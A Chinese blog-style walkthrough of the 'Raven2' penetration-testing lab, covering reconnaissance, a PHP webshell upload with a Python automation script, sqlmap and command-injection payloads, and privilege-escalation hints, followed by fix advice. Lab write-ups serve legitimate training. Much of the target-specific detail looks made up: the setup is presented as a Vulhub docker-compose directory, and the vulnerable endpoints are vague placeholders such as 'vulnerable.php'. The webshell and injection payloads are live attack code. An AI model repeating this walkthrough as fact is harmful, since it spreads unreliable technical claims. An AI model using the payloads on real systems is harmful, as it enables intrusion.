当前位置：首页 > news >正文

Raven2靶场渗透测试实战：从SQL注入到权限提升

news 2026/7/29 16:47:56

1. 项目概述

Raven2是Vulhub漏洞靶场环境中的一个经典靶机，它模拟了一个存在多个漏洞的Web应用系统。这个靶场特别适合用来练习从信息收集到提权的完整渗透测试流程。我第一次接触Raven2时就被它精心设计的漏洞链所吸引——从简单的SQL注入到复杂的权限提升，每个漏洞点都像是设计好的拼图，等着测试者去发现和利用。

作为Vulhub系列的第二台靶机，Raven2相比第一台难度有所提升，但又不至于让新手望而生畏。它包含了常见的Web漏洞类型，如文件上传、命令注入、SQL注入等，同时还涉及权限提升技巧。通过复现这些漏洞，安全研究人员和渗透测试新手能够快速积累实战经验。

2. 环境准备与搭建

2.1 Vulhub基础环境配置

在开始Raven2靶场练习前，你需要先准备好Vulhub的运行环境。Vulhub基于Docker容器技术，这使得它的部署变得非常简单。我推荐使用Ubuntu 20.04 LTS作为宿主机系统，因为它在兼容性和稳定性方面表现最好。

首先安装必要的依赖：

sudo apt-get update sudo apt-get install -y docker.io docker-compose

注意：如果你的系统已经安装了Docker，建议先卸载旧版本再安装，避免兼容性问题。我曾经因为Docker版本过旧导致Vulhub某些靶场无法正常启动。

2.2 Raven2靶场部署

从Vulhub官网下载最新版本后，进入Raven2目录：

cd vulhub/raven2 docker-compose up -d

这个命令会启动两个容器：一个是运行Raven2应用的Apache+PHP环境，另一个是MySQL数据库。部署完成后，你可以通过http://localhost:8080访问靶场。

实操心得：第一次启动时可能会遇到端口冲突。我的习惯是先用netstat -tulnp检查8080端口是否被占用。如果被占用，可以修改docker-compose.yml文件中的端口映射，比如改成"8081:80"。

3. 渗透测试流程实战

3.1 信息收集阶段

信息收集是渗透测试的第一步，也是最重要的一步。对于Raven2，我通常会从以下几个方面入手：

基础扫描：

nmap -sV -T4 -A -v 192.168.1.100

这个命令会扫描目标主机的开放端口和服务版本。Raven2通常会在80端口运行Web服务。

目录爆破：使用dirsearch工具扫描隐藏目录：

python3 dirsearch.py -u http://192.168.1.100 -e php

在Raven2中，你会发现几个关键目录：

/vendor/ - 包含PHP依赖信息
/uploads/ - 文件上传目录
/admin/ - 后台管理入口

源代码分析：查看网页源代码时，注意注释中的线索。Raven2在页面注释中故意留下了一些提示，这是实际渗透测试中很少见但很有教学意义的设计。

3.2 漏洞挖掘与利用

3.2.1 文件上传漏洞

Raven2的/user/upload页面存在文件上传功能。通过拦截修改请求，我们可以上传PHP webshell：

准备一个简单的PHP webshell：

<?php system($_GET['cmd']); ?>

使用Burp Suite拦截上传请求，将文件扩展名从.jpg改为.php
访问上传的文件执行命令：

http://192.168.1.100/uploads/shell.php?cmd=id

避坑指南：现代浏览器会自动修复某些请求头。我建议使用Burp Suite的Repeater模块直接构造原始HTTP请求，避免浏览器干扰。

3.2.2 SQL注入漏洞

在/contact.php页面存在SQL注入漏洞。使用sqlmap进行自动化检测：

sqlmap -u "http://192.168.1.100/contact.php" --data="name=test&email=test@test.com&message=test" --risk=3 --level=5

这个注入点可以用来获取数据库信息，但更有价值的是通过它获取管理员凭据。

3.2.3 命令注入漏洞

Raven2的某个功能点存在命令注入漏洞。通过精心构造输入，我们可以执行系统命令：

http://192.168.1.100/vulnerable.php?ip=127.0.0.1;id

这个漏洞通常需要多次尝试才能找到正确的注入点。我的经验是先用简单的命令如"id"或"whoami"测试，确认存在注入后再尝试复杂命令。

3.3 权限提升

拿到Webshell后，我们需要从www-data用户提升到root权限。Raven2设计了几个可能的提权路径：

SUID提权：查找具有SUID权限的可执行文件：

find / -perm -4000 2>/dev/null

在Raven2中，你会发现一个不常见的二进制文件设置了SUID位，这可能是提权的关键。

内核漏洞提权：检查系统内核版本：

uname -a

如果内核版本较旧，可以尝试使用公开的exploit。我通常会先在本地测试exploit的可靠性，避免在目标系统上造成崩溃。

密码破解：检查/etc/passwd和/etc/shadow文件，看看是否有弱密码用户。Raven2中设计了一个可破解的用户密码。

4. 漏洞修复建议

完成渗透测试后，我们应该为每个发现的漏洞提供修复建议：

文件上传漏洞：

限制上传文件类型，使用白名单而非黑名单
将上传文件存储在Web根目录外
重命名上传文件，避免直接执行

SQL注入：

使用预处理语句和参数化查询
对输入进行严格的过滤和验证
最小化数据库用户权限

命令注入：

避免直接将用户输入传递给系统命令
使用安全的API替代系统命令调用
对输入进行严格的过滤

5. 常见问题与解决方案

5.1 靶场无法启动

问题现象：执行docker-compose up后容器立即退出

解决方案：

检查Docker日志：

docker logs <container_id>

常见原因是端口冲突，修改docker-compose.yml中的端口映射
确保系统资源充足，Docker有时会因内存不足而失败

5.2 漏洞利用不成功

问题现象：按照步骤操作但无法复现漏洞

解决方案：

确认靶场版本是否正确，不同版本的漏洞细节可能有差异
检查网络连接，确保攻击机和靶机在同一网络
尝试使用不同的工具或技术，有时某个工具的实现方式可能不兼容

5.3 提权失败

问题现象：找到SUID文件但无法利用

解决方案：

检查文件的实际权限，有时SUID可能被其他安全机制限制
尝试不同的exploit技术，如环境变量劫持
查看系统日志，了解为什么提权失败

6. 高级技巧与扩展

6.1 自动化渗透测试

对于经常使用Raven2练习的同学，可以编写简单的自动化脚本：

import requests target = "http://192.168.1.100" upload_url = f"{target}/user/upload.php" files = {'file': ('shell.php', '<?php system($_GET["cmd"]);?>')} response = requests.post(upload_url, files=files)

这个脚本可以自动完成文件上传webshell的过程，节省手动操作时间。